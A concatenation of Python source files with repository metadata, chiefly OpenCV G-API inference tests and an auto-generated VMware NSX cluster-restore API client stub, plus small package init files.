active_mode.target) self.assertEqual(SettingModes.ON, active_mode.sub) def test_get_active_mode_standby_cooling(self) -> None: zone = _zone_cooling() zone.active_function = ActiveFunction.STANDBY active_mode = zone.active_mode self.assertEqual(OperatingModes.AUTO, active_mode.current) self.assertEqual(zone.cooling.target_high, active_mode.target) self.assertEqual(SettingModes.ON, active_mode.sub) def test_get_active_mode_standby_heating(self) -> None: zone = _zone() zone.active_function = ActiveFunction.STANDBY active_mode = zone.active_mode self.assertEqual(OperatingModes.AUTO, active_mode.current) self.assertEqual(zone.heating.target_high, active_mode.target) self.assertEqual(SettingModes.DAY, active_mode.sub)

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null

1

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1

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null

0

7

db048f57866c20de5d25e3ee58fbcd5c7eca1c55

13,628

py

Python

modules/gapi/misc/python/test/test_gapi_infer.py

jiangjiajun/opencv

1fb3133ec5bedfc2733dca44e2c92e6feb8092e5

[ "Apache-2.0" ]

14

2017-11-08T08:19:33.000Z

2021-08-02T20:29:38.000Z

modules/gapi/misc/python/test/test_gapi_infer.py

jiangjiajun/opencv

1fb3133ec5bedfc2733dca44e2c92e6feb8092e5

[ "Apache-2.0" ]

362

2017-06-05T02:34:37.000Z

2021-12-10T03:26:23.000Z

modules/gapi/misc/python/test/test_gapi_infer.py

jiangjiajun/opencv

1fb3133ec5bedfc2733dca44e2c92e6feb8092e5

[ "Apache-2.0" ]

17

2017-06-07T02:11:50.000Z

2020-06-01T13:55:41.000Z

#!/usr/bin/env python import numpy as np import cv2 as cv import os from tests_common import NewOpenCVTests class test_gapi_infer(NewOpenCVTests): def infer_reference_network(self, model_path, weights_path, img): net = cv.dnn.readNetFromModelOptimizer(model_path, weights_path) net.setPreferableBackend(cv.dnn.DNN_BACKEND_INFERENCE_ENGINE) net.setPreferableTarget(cv.dnn.DNN_TARGET_CPU) blob = cv.dnn.blobFromImage(img) net.setInput(blob) return net.forward(net.getUnconnectedOutLayersNames()) def make_roi(self, img, roi): return img[roi[1]:roi[1] + roi[3], roi[0]:roi[0] + roi[2], ...] def test_age_gender_infer(self): # NB: Check IE if not cv.dnn.DNN_TARGET_CPU in cv.dnn.getAvailableTargets(cv.dnn.DNN_BACKEND_INFERENCE_ENGINE): return root_path = '/omz_intel_models/intel/age-gender-recognition-retail-0013/FP32/age-gender-recognition-retail-0013' model_path = self.find_file(root_path + '.xml', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) weights_path = self.find_file(root_path + '.bin', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) device_id = 'CPU' img_path = self.find_file('cv/face/david2.jpg', [os.environ.get('OPENCV_TEST_DATA_PATH')]) img = cv.resize(cv.imread(img_path), (62,62)) # OpenCV DNN dnn_age, dnn_gender = self.infer_reference_network(model_path, weights_path, img) # OpenCV G-API g_in = cv.GMat() inputs = cv.GInferInputs() inputs.setInput('data', g_in) outputs = cv.gapi.infer("net", inputs) age_g = outputs.at("age_conv3") gender_g = outputs.at("prob") comp = cv.GComputation(cv.GIn(g_in), cv.GOut(age_g, gender_g)) pp = cv.gapi.ie.params("net", model_path, weights_path, device_id) gapi_age, gapi_gender = comp.apply(cv.gin(img), args=cv.compile_args(cv.gapi.networks(pp))) # Check self.assertEqual(0.0, cv.norm(dnn_gender, gapi_gender, cv.NORM_INF)) self.assertEqual(0.0, cv.norm(dnn_age, gapi_age, cv.NORM_INF)) def test_age_gender_infer_roi(self): # NB: Check IE if not cv.dnn.DNN_TARGET_CPU in cv.dnn.getAvailableTargets(cv.dnn.DNN_BACKEND_INFERENCE_ENGINE): return root_path = '/omz_intel_models/intel/age-gender-recognition-retail-0013/FP32/age-gender-recognition-retail-0013' model_path = self.find_file(root_path + '.xml', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) weights_path = self.find_file(root_path + '.bin', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) device_id = 'CPU' img_path = self.find_file('cv/face/david2.jpg', [os.environ.get('OPENCV_TEST_DATA_PATH')]) img = cv.imread(img_path) roi = (10, 10, 62, 62) # OpenCV DNN dnn_age, dnn_gender = self.infer_reference_network(model_path, weights_path, self.make_roi(img, roi)) # OpenCV G-API g_in = cv.GMat() g_roi = cv.GOpaqueT(cv.gapi.CV_RECT) inputs = cv.GInferInputs() inputs.setInput('data', g_in) outputs = cv.gapi.infer("net", g_roi, inputs) age_g = outputs.at("age_conv3") gender_g = outputs.at("prob") comp = cv.GComputation(cv.GIn(g_in, g_roi), cv.GOut(age_g, gender_g)) pp = cv.gapi.ie.params("net", model_path, weights_path, device_id) gapi_age, gapi_gender = comp.apply(cv.gin(img, roi), args=cv.compile_args(cv.gapi.networks(pp))) # Check self.assertEqual(0.0, cv.norm(dnn_gender, gapi_gender, cv.NORM_INF)) self.assertEqual(0.0, cv.norm(dnn_age, gapi_age, cv.NORM_INF)) def test_age_gender_infer_roi_list(self): # NB: Check IE if not cv.dnn.DNN_TARGET_CPU in cv.dnn.getAvailableTargets(cv.dnn.DNN_BACKEND_INFERENCE_ENGINE): return root_path = '/omz_intel_models/intel/age-gender-recognition-retail-0013/FP32/age-gender-recognition-retail-0013' model_path = self.find_file(root_path + '.xml', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) weights_path = self.find_file(root_path + '.bin', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) device_id = 'CPU' rois = [(10, 15, 62, 62), (23, 50, 62, 62), (14, 100, 62, 62), (80, 50, 62, 62)] img_path = self.find_file('cv/face/david2.jpg', [os.environ.get('OPENCV_TEST_DATA_PATH')]) img = cv.imread(img_path) # OpenCV DNN dnn_age_list = [] dnn_gender_list = [] for roi in rois: age, gender = self.infer_reference_network(model_path, weights_path, self.make_roi(img, roi)) dnn_age_list.append(age) dnn_gender_list.append(gender) # OpenCV G-API g_in = cv.GMat() g_rois = cv.GArrayT(cv.gapi.CV_RECT) inputs = cv.GInferInputs() inputs.setInput('data', g_in) outputs = cv.gapi.infer("net", g_rois, inputs) age_g = outputs.at("age_conv3") gender_g = outputs.at("prob") comp = cv.GComputation(cv.GIn(g_in, g_rois), cv.GOut(age_g, gender_g)) pp = cv.gapi.ie.params("net", model_path, weights_path, device_id) gapi_age_list, gapi_gender_list = comp.apply(cv.gin(img, rois), args=cv.compile_args(cv.gapi.networks(pp))) # Check for gapi_age, gapi_gender, dnn_age, dnn_gender in zip(gapi_age_list, gapi_gender_list, dnn_age_list, dnn_gender_list): self.assertEqual(0.0, cv.norm(dnn_gender, gapi_gender, cv.NORM_INF)) self.assertEqual(0.0, cv.norm(dnn_age, gapi_age, cv.NORM_INF)) def test_age_gender_infer2_roi(self): # NB: Check IE if not cv.dnn.DNN_TARGET_CPU in cv.dnn.getAvailableTargets(cv.dnn.DNN_BACKEND_INFERENCE_ENGINE): return root_path = '/omz_intel_models/intel/age-gender-recognition-retail-0013/FP32/age-gender-recognition-retail-0013' model_path = self.find_file(root_path + '.xml', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) weights_path = self.find_file(root_path + '.bin', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) device_id = 'CPU' rois = [(10, 15, 62, 62), (23, 50, 62, 62), (14, 100, 62, 62), (80, 50, 62, 62)] img_path = self.find_file('cv/face/david2.jpg', [os.environ.get('OPENCV_TEST_DATA_PATH')]) img = cv.imread(img_path) # OpenCV DNN dnn_age_list = [] dnn_gender_list = [] for roi in rois: age, gender = self.infer_reference_network(model_path, weights_path, self.make_roi(img, roi)) dnn_age_list.append(age) dnn_gender_list.append(gender) # OpenCV G-API g_in = cv.GMat() g_rois = cv.GArrayT(cv.gapi.CV_RECT) inputs = cv.GInferListInputs() inputs.setInput('data', g_rois) outputs = cv.gapi.infer2("net", g_in, inputs) age_g = outputs.at("age_conv3") gender_g = outputs.at("prob") comp = cv.GComputation(cv.GIn(g_in, g_rois), cv.GOut(age_g, gender_g)) pp = cv.gapi.ie.params("net", model_path, weights_path, device_id) gapi_age_list, gapi_gender_list = comp.apply(cv.gin(img, rois), args=cv.compile_args(cv.gapi.networks(pp))) # Check for gapi_age, gapi_gender, dnn_age, dnn_gender in zip(gapi_age_list, gapi_gender_list, dnn_age_list, dnn_gender_list): self.assertEqual(0.0, cv.norm(dnn_gender, gapi_gender, cv.NORM_INF)) self.assertEqual(0.0, cv.norm(dnn_age, gapi_age, cv.NORM_INF)) def test_person_detection_retail_0013(self): # NB: Check IE if not cv.dnn.DNN_TARGET_CPU in cv.dnn.getAvailableTargets(cv.dnn.DNN_BACKEND_INFERENCE_ENGINE): return root_path = '/omz_intel_models/intel/person-detection-retail-0013/FP32/person-detection-retail-0013' model_path = self.find_file(root_path + '.xml', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) weights_path = self.find_file(root_path + '.bin', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) img_path = self.find_file('gpu/lbpcascade/er.png', [os.environ.get('OPENCV_TEST_DATA_PATH')]) device_id = 'CPU' img = cv.resize(cv.imread(img_path), (544, 320)) # OpenCV DNN net = cv.dnn.readNetFromModelOptimizer(model_path, weights_path) net.setPreferableBackend(cv.dnn.DNN_BACKEND_INFERENCE_ENGINE) net.setPreferableTarget(cv.dnn.DNN_TARGET_CPU) blob = cv.dnn.blobFromImage(img) def parseSSD(detections, size): h, w = size bboxes = [] detections = detections.reshape(-1, 7) for sample_id, class_id, confidence, xmin, ymin, xmax, ymax in detections: if confidence >= 0.5: x = int(xmin * w) y = int(ymin * h) width = int(xmax * w - x) height = int(ymax * h - y) bboxes.append((x, y, width, height)) return bboxes net.setInput(blob) dnn_detections = net.forward() dnn_boxes = parseSSD(np.array(dnn_detections), img.shape[:2]) # OpenCV G-API g_in = cv.GMat() inputs = cv.GInferInputs() inputs.setInput('data', g_in) g_sz = cv.gapi.streaming.size(g_in) outputs = cv.gapi.infer("net", inputs) detections = outputs.at("detection_out") bboxes = cv.gapi.parseSSD(detections, g_sz, 0.5, False, False) comp = cv.GComputation(cv.GIn(g_in), cv.GOut(bboxes)) pp = cv.gapi.ie.params("net", model_path, weights_path, device_id) gapi_age, gapi_gender = comp.apply(cv.gin(img), args=cv.compile_args(cv.gapi.networks(pp))) gapi_boxes = comp.apply(cv.gin(img.astype(np.float32)), args=cv.compile_args(cv.gapi.networks(pp))) # Comparison self.assertEqual(0.0, cv.norm(np.array(dnn_boxes).flatten(), np.array(gapi_boxes).flatten(), cv.NORM_INF)) def test_person_detection_retail_0013(self): # NB: Check IE if not cv.dnn.DNN_TARGET_CPU in cv.dnn.getAvailableTargets(cv.dnn.DNN_BACKEND_INFERENCE_ENGINE): return root_path = '/omz_intel_models/intel/person-detection-retail-0013/FP32/person-detection-retail-0013' model_path = self.find_file(root_path + '.xml', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) weights_path = self.find_file(root_path + '.bin', [os.environ.get('OPENCV_DNN_TEST_DATA_PATH')]) img_path = self.find_file('gpu/lbpcascade/er.png', [os.environ.get('OPENCV_TEST_DATA_PATH')]) device_id = 'CPU' img = cv.resize(cv.imread(img_path), (544, 320)) # OpenCV DNN net = cv.dnn.readNetFromModelOptimizer(model_path, weights_path) net.setPreferableBackend(cv.dnn.DNN_BACKEND_INFERENCE_ENGINE) net.setPreferableTarget(cv.dnn.DNN_TARGET_CPU) blob = cv.dnn.blobFromImage(img) def parseSSD(detections, size): h, w = size bboxes = [] detections = detections.reshape(-1, 7) for sample_id, class_id, confidence, xmin, ymin, xmax, ymax in detections: if confidence >= 0.5: x = int(xmin * w) y = int(ymin * h) width = int(xmax * w - x) height = int(ymax * h - y) bboxes.append((x, y, width, height)) return bboxes net.setInput(blob) dnn_detections = net.forward() dnn_boxes = parseSSD(np.array(dnn_detections), img.shape[:2]) # OpenCV G-API g_in = cv.GMat() inputs = cv.GInferInputs() inputs.setInput('data', g_in) g_sz = cv.gapi.streaming.size(g_in) outputs = cv.gapi.infer("net", inputs) detections = outputs.at("detection_out") bboxes = cv.gapi.parseSSD(detections, g_sz, 0.5, False, False) comp = cv.GComputation(cv.GIn(g_in), cv.GOut(bboxes)) pp = cv.gapi.ie.params("net", model_path, weights_path, device_id) gapi_boxes = comp.apply(cv.gin(img.astype(np.float32)), args=cv.compile_args(cv.gapi.networks(pp))) # Comparison self.assertEqual(0.0, cv.norm(np.array(dnn_boxes).flatten(), np.array(gapi_boxes).flatten(), cv.NORM_INF)) if __name__ == '__main__': NewOpenCVTests.bootstrap()

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7

db17f6bf7a9d7a02d5ab7761b5094fe666d599c5

22,293

py

Python

com/vmware/nsx/cluster/restore_client.py

vishal-12/vsphere-automation-sdk-python

9cf363971db77ea5a12928eecd5cf5170a7fcd8a

[ "MIT" ]

null

com/vmware/nsx/cluster/restore_client.py

vishal-12/vsphere-automation-sdk-python

9cf363971db77ea5a12928eecd5cf5170a7fcd8a

[ "MIT" ]

null

com/vmware/nsx/cluster/restore_client.py

vishal-12/vsphere-automation-sdk-python

9cf363971db77ea5a12928eecd5cf5170a7fcd8a

[ "MIT" ]

null

# -*- coding: utf-8 -*- #--------------------------------------------------------------------------- # Copyright 2019 VMware, Inc. All rights reserved. # AUTO GENERATED FILE -- DO NOT MODIFY! # # vAPI stub file for package com.vmware.nsx.cluster.restore. #--------------------------------------------------------------------------- """ """ __author__ = 'VMware, Inc.' __docformat__ = 'restructuredtext en' import sys from vmware.vapi.bindings import type from vmware.vapi.bindings.converter import TypeConverter from vmware.vapi.bindings.enum import Enum from vmware.vapi.bindings.error import VapiError from vmware.vapi.bindings.struct import VapiStruct from vmware.vapi.bindings.stub import ( ApiInterfaceStub, StubFactoryBase, VapiInterface) from vmware.vapi.bindings.common import raise_core_exception from vmware.vapi.data.validator import (UnionValidator, HasFieldsOfValidator) from vmware.vapi.exception import CoreException from vmware.vapi.lib.constants import TaskType from vmware.vapi.lib.rest import OperationRestMetadata class Backuptimestamps(VapiInterface): """ """ _VAPI_SERVICE_ID = 'com.vmware.nsx.cluster.restore.backuptimestamps' """ Identifier of the service in canonical form. """ def __init__(self, config): """ :type config: :class:`vmware.vapi.bindings.stub.StubConfiguration` :param config: Configuration to be used for creating the stub. """ VapiInterface.__init__(self, config, _BackuptimestampsStub) def get(self, cursor=None, included_fields=None, page_size=None, sort_ascending=None, sort_by=None, ): """ Returns timestamps for all backup files that are available on the SFTP server. :type cursor: :class:`str` or ``None`` :param cursor: Opaque cursor to be used for getting next page of records (supplied by current result page) (optional) :type included_fields: :class:`str` or ``None`` :param included_fields: Comma separated list of fields that should be included in query result (optional) :type page_size: :class:`long` or ``None`` :param page_size: Maximum number of results to return in this page (server may return fewer) (optional, default to 1000) :type sort_ascending: :class:`bool` or ``None`` :param sort_ascending: (optional) :type sort_by: :class:`str` or ``None`` :param sort_by: Field by which records are sorted (optional) :rtype: :class:`com.vmware.nsx.model_client.ClusterBackupInfoListResult` :return: com.vmware.nsx.model.ClusterBackupInfoListResult :raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable` Service Unavailable :raise: :class:`com.vmware.vapi.std.errors_client.InvalidRequest` Bad Request, Precondition Failed :raise: :class:`com.vmware.vapi.std.errors_client.InternalServerError` Internal Server Error :raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized` Forbidden :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` Not Found """ return self._invoke('get', { 'cursor': cursor, 'included_fields': included_fields, 'page_size': page_size, 'sort_ascending': sort_ascending, 'sort_by': sort_by, }) class Config(VapiInterface): """ """ _VAPI_SERVICE_ID = 'com.vmware.nsx.cluster.restore.config' """ Identifier of the service in canonical form. """ def __init__(self, config): """ :type config: :class:`vmware.vapi.bindings.stub.StubConfiguration` :param config: Configuration to be used for creating the stub. """ VapiInterface.__init__(self, config, _ConfigStub) def get(self): """ Get configuration information for the file server used to store backed-up files. Fields that contain secrets (password, passphrase) are not returned. :rtype: :class:`com.vmware.nsx.model_client.RestoreConfiguration` :return: com.vmware.nsx.model.RestoreConfiguration :raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable` Service Unavailable :raise: :class:`com.vmware.vapi.std.errors_client.InvalidRequest` Bad Request, Precondition Failed :raise: :class:`com.vmware.vapi.std.errors_client.InternalServerError` Internal Server Error :raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized` Forbidden :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` Not Found """ return self._invoke('get', None) def update(self, restore_configuration, ): """ Configure file server where the backed-up files used for the Restore operation are available. :type restore_configuration: :class:`com.vmware.nsx.model_client.RestoreConfiguration` :param restore_configuration: (required) :rtype: :class:`com.vmware.nsx.model_client.RestoreConfiguration` :return: com.vmware.nsx.model.RestoreConfiguration :raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable` Service Unavailable :raise: :class:`com.vmware.vapi.std.errors_client.InvalidRequest` Bad Request, Precondition Failed :raise: :class:`com.vmware.vapi.std.errors_client.InternalServerError` Internal Server Error :raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized` Forbidden :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` Not Found """ return self._invoke('update', { 'restore_configuration': restore_configuration, }) class InstructionResources(VapiInterface): """ """ _VAPI_SERVICE_ID = 'com.vmware.nsx.cluster.restore.instruction_resources' """ Identifier of the service in canonical form. """ def __init__(self, config): """ :type config: :class:`vmware.vapi.bindings.stub.StubConfiguration` :param config: Configuration to be used for creating the stub. """ VapiInterface.__init__(self, config, _InstructionResourcesStub) def get(self, instruction_id, cursor=None, included_fields=None, page_size=None, sort_ascending=None, sort_by=None, ): """ For restore operations requiring user input e.g. performing an action, accepting/rejecting an action, etc. the information to be conveyed to users is provided in this call. :type instruction_id: :class:`str` :param instruction_id: Id of the instruction set whose instructions are to be returned (required) :type cursor: :class:`str` or ``None`` :param cursor: Opaque cursor to be used for getting next page of records (supplied by current result page) (optional) :type included_fields: :class:`str` or ``None`` :param included_fields: Comma separated list of fields that should be included in query result (optional) :type page_size: :class:`long` or ``None`` :param page_size: Maximum number of results to return in this page (server may return fewer) (optional, default to 1000) :type sort_ascending: :class:`bool` or ``None`` :param sort_ascending: (optional) :type sort_by: :class:`str` or ``None`` :param sort_by: Field by which records are sorted (optional) :rtype: :class:`com.vmware.nsx.model_client.ActionableResourceListResult` :return: com.vmware.nsx.model.ActionableResourceListResult :raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable` Service Unavailable :raise: :class:`com.vmware.vapi.std.errors_client.InvalidRequest` Bad Request, Precondition Failed :raise: :class:`com.vmware.vapi.std.errors_client.InternalServerError` Internal Server Error :raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized` Forbidden :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` Not Found """ return self._invoke('get', { 'instruction_id': instruction_id, 'cursor': cursor, 'included_fields': included_fields, 'page_size': page_size, 'sort_ascending': sort_ascending, 'sort_by': sort_by, }) class Status(VapiInterface): """ """ _VAPI_SERVICE_ID = 'com.vmware.nsx.cluster.restore.status' """ Identifier of the service in canonical form. """ def __init__(self, config): """ :type config: :class:`vmware.vapi.bindings.stub.StubConfiguration` :param config: Configuration to be used for creating the stub. """ VapiInterface.__init__(self, config, _StatusStub) def get(self): """ Returns status information for the specified NSX cluster restore request. :rtype: :class:`com.vmware.nsx.model_client.ClusterRestoreStatus` :return: com.vmware.nsx.model.ClusterRestoreStatus :raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable` Service Unavailable :raise: :class:`com.vmware.vapi.std.errors_client.InvalidRequest` Bad Request, Precondition Failed :raise: :class:`com.vmware.vapi.std.errors_client.InternalServerError` Internal Server Error :raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized` Forbidden :raise: :class:`com.vmware.vapi.std.errors_client.NotFound` Not Found """ return self._invoke('get', None) class _BackuptimestampsStub(ApiInterfaceStub): def __init__(self, config): # properties for get operation get_input_type = type.StructType('operation-input', { 'cursor': type.OptionalType(type.StringType()), 'included_fields': type.OptionalType(type.StringType()), 'page_size': type.OptionalType(type.IntegerType()), 'sort_ascending': type.OptionalType(type.BooleanType()), 'sort_by': type.OptionalType(type.StringType()), }) get_error_dict = { 'com.vmware.vapi.std.errors.service_unavailable': type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'), 'com.vmware.vapi.std.errors.invalid_request': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidRequest'), 'com.vmware.vapi.std.errors.internal_server_error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InternalServerError'), 'com.vmware.vapi.std.errors.unauthorized': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), } get_input_value_validator_list = [ ] get_output_validator_list = [ ] get_rest_metadata = OperationRestMetadata( http_method='GET', url_template='/api/v1/cluster/restore/backuptimestamps', path_variables={ }, query_parameters={ 'cursor': 'cursor', 'included_fields': 'included_fields', 'page_size': 'page_size', 'sort_ascending': 'sort_ascending', 'sort_by': 'sort_by', }, content_type='application/json' ) operations = { 'get': { 'input_type': get_input_type, 'output_type': type.ReferenceType('com.vmware.nsx.model_client', 'ClusterBackupInfoListResult'), 'errors': get_error_dict, 'input_value_validator_list': get_input_value_validator_list, 'output_validator_list': get_output_validator_list, 'task_type': TaskType.NONE, }, } rest_metadata = { 'get': get_rest_metadata, } ApiInterfaceStub.__init__( self, iface_name='com.vmware.nsx.cluster.restore.backuptimestamps', config=config, operations=operations, rest_metadata=rest_metadata, is_vapi_rest=False) class _ConfigStub(ApiInterfaceStub): def __init__(self, config): # properties for get operation get_input_type = type.StructType('operation-input', {}) get_error_dict = { 'com.vmware.vapi.std.errors.service_unavailable': type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'), 'com.vmware.vapi.std.errors.invalid_request': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidRequest'), 'com.vmware.vapi.std.errors.internal_server_error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InternalServerError'), 'com.vmware.vapi.std.errors.unauthorized': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), } get_input_value_validator_list = [ ] get_output_validator_list = [ ] get_rest_metadata = OperationRestMetadata( http_method='GET', url_template='/api/v1/cluster/restore/config', path_variables={ }, query_parameters={ }, content_type='application/json' ) # properties for update operation update_input_type = type.StructType('operation-input', { 'restore_configuration': type.ReferenceType('com.vmware.nsx.model_client', 'RestoreConfiguration'), }) update_error_dict = { 'com.vmware.vapi.std.errors.service_unavailable': type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'), 'com.vmware.vapi.std.errors.invalid_request': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidRequest'), 'com.vmware.vapi.std.errors.internal_server_error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InternalServerError'), 'com.vmware.vapi.std.errors.unauthorized': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), } update_input_value_validator_list = [ ] update_output_validator_list = [ ] update_rest_metadata = OperationRestMetadata( http_method='PUT', url_template='/api/v1/cluster/restore/config', request_body_parameter='restore_configuration', path_variables={ }, query_parameters={ }, content_type='application/json' ) operations = { 'get': { 'input_type': get_input_type, 'output_type': type.ReferenceType('com.vmware.nsx.model_client', 'RestoreConfiguration'), 'errors': get_error_dict, 'input_value_validator_list': get_input_value_validator_list, 'output_validator_list': get_output_validator_list, 'task_type': TaskType.NONE, }, 'update': { 'input_type': update_input_type, 'output_type': type.ReferenceType('com.vmware.nsx.model_client', 'RestoreConfiguration'), 'errors': update_error_dict, 'input_value_validator_list': update_input_value_validator_list, 'output_validator_list': update_output_validator_list, 'task_type': TaskType.NONE, }, } rest_metadata = { 'get': get_rest_metadata, 'update': update_rest_metadata, } ApiInterfaceStub.__init__( self, iface_name='com.vmware.nsx.cluster.restore.config', config=config, operations=operations, rest_metadata=rest_metadata, is_vapi_rest=False) class _InstructionResourcesStub(ApiInterfaceStub): def __init__(self, config): # properties for get operation get_input_type = type.StructType('operation-input', { 'instruction_id': type.StringType(), 'cursor': type.OptionalType(type.StringType()), 'included_fields': type.OptionalType(type.StringType()), 'page_size': type.OptionalType(type.IntegerType()), 'sort_ascending': type.OptionalType(type.BooleanType()), 'sort_by': type.OptionalType(type.StringType()), }) get_error_dict = { 'com.vmware.vapi.std.errors.service_unavailable': type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'), 'com.vmware.vapi.std.errors.invalid_request': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidRequest'), 'com.vmware.vapi.std.errors.internal_server_error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InternalServerError'), 'com.vmware.vapi.std.errors.unauthorized': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), } get_input_value_validator_list = [ ] get_output_validator_list = [ ] get_rest_metadata = OperationRestMetadata( http_method='GET', url_template='/api/v1/cluster/restore/instruction-resources', path_variables={ }, query_parameters={ 'instruction_id': 'instruction_id', 'cursor': 'cursor', 'included_fields': 'included_fields', 'page_size': 'page_size', 'sort_ascending': 'sort_ascending', 'sort_by': 'sort_by', }, content_type='application/json' ) operations = { 'get': { 'input_type': get_input_type, 'output_type': type.ReferenceType('com.vmware.nsx.model_client', 'ActionableResourceListResult'), 'errors': get_error_dict, 'input_value_validator_list': get_input_value_validator_list, 'output_validator_list': get_output_validator_list, 'task_type': TaskType.NONE, }, } rest_metadata = { 'get': get_rest_metadata, } ApiInterfaceStub.__init__( self, iface_name='com.vmware.nsx.cluster.restore.instruction_resources', config=config, operations=operations, rest_metadata=rest_metadata, is_vapi_rest=False) class _StatusStub(ApiInterfaceStub): def __init__(self, config): # properties for get operation get_input_type = type.StructType('operation-input', {}) get_error_dict = { 'com.vmware.vapi.std.errors.service_unavailable': type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'), 'com.vmware.vapi.std.errors.invalid_request': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InvalidRequest'), 'com.vmware.vapi.std.errors.internal_server_error': type.ReferenceType('com.vmware.vapi.std.errors_client', 'InternalServerError'), 'com.vmware.vapi.std.errors.unauthorized': type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'), 'com.vmware.vapi.std.errors.not_found': type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'), } get_input_value_validator_list = [ ] get_output_validator_list = [ ] get_rest_metadata = OperationRestMetadata( http_method='GET', url_template='/api/v1/cluster/restore/status', path_variables={ }, query_parameters={ }, content_type='application/json' ) operations = { 'get': { 'input_type': get_input_type, 'output_type': type.ReferenceType('com.vmware.nsx.model_client', 'ClusterRestoreStatus'), 'errors': get_error_dict, 'input_value_validator_list': get_input_value_validator_list, 'output_validator_list': get_output_validator_list, 'task_type': TaskType.NONE, }, } rest_metadata = { 'get': get_rest_metadata, } ApiInterfaceStub.__init__( self, iface_name='com.vmware.nsx.cluster.restore.status', config=config, operations=operations, rest_metadata=rest_metadata, is_vapi_rest=False) class StubFactory(StubFactoryBase): _attrs = { 'Backuptimestamps': Backuptimestamps, 'Config': Config, 'InstructionResources': InstructionResources, 'Status': Status, }

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218

py

Python

discord_exchange/orderbook/__init__.py

MiltFra/discord-exchange

66764a22b74a09ab2f8704884164a5deadddb17a

[ "Apache-2.0" ]

null

discord_exchange/orderbook/__init__.py

MiltFra/discord-exchange

66764a22b74a09ab2f8704884164a5deadddb17a

[ "Apache-2.0" ]

null

discord_exchange/orderbook/__init__.py

MiltFra/discord-exchange

66764a22b74a09ab2f8704884164a5deadddb17a

[ "Apache-2.0" ]

null

from discord_exchange.orderbook.orderbook import Orderbook from discord_exchange.orderbook.user_data import UserData from discord_exchange.orderbook.order import Order from discord_exchange.orderbook.trade import Trade

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8

db2d2667db841a75c415bcc5fd4a5ebbf0b5497c

273

py

Python

pyamg/amg_core/tests/__init__.py

TareqZaman/pyamg

ece7eb38632b5d4618ec4959a23a2ab9956dc232

[ "MIT" ]

371

2015-01-11T23:32:12.000Z

2022-03-31T12:47:56.000Z

pyamg/amg_core/tests/__init__.py

TareqZaman/pyamg

ece7eb38632b5d4618ec4959a23a2ab9956dc232

[ "MIT" ]

169

2015-01-15T15:31:10.000Z

2022-03-29T23:03:35.000Z

pyamg/amg_core/tests/__init__.py

TareqZaman/pyamg

ece7eb38632b5d4618ec4959a23a2ab9956dc232

[ "MIT" ]

100

2015-01-22T23:21:23.000Z

2022-03-22T10:26:41.000Z

from .bind_examples import (test1, test2, test3, test4, test5, test6, test7, test8, test9, test10) __all__ = [ 'test1', 'test2', 'test3', 'test4', 'test5', 'test6', 'test7', 'test8', 'test9', 'test10', ]

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null

0

9

e1e592caeec8ec166cfd2f5ba2db210ff783af8f

10,981

py

Python

accelbyte_py_sdk/api/social/wrappers/_stat_configuration.py

AccelByte/accelbyte-python-sdk

dcd311fad111c59da828278975340fb92e0f26f7

[ "MIT" ]

null

accelbyte_py_sdk/api/social/wrappers/_stat_configuration.py

AccelByte/accelbyte-python-sdk

dcd311fad111c59da828278975340fb92e0f26f7

[ "MIT" ]

1

2021-10-13T03:46:58.000Z

accelbyte_py_sdk/api/social/wrappers/_stat_configuration.py

AccelByte/accelbyte-python-sdk

dcd311fad111c59da828278975340fb92e0f26f7

[ "MIT" ]

null

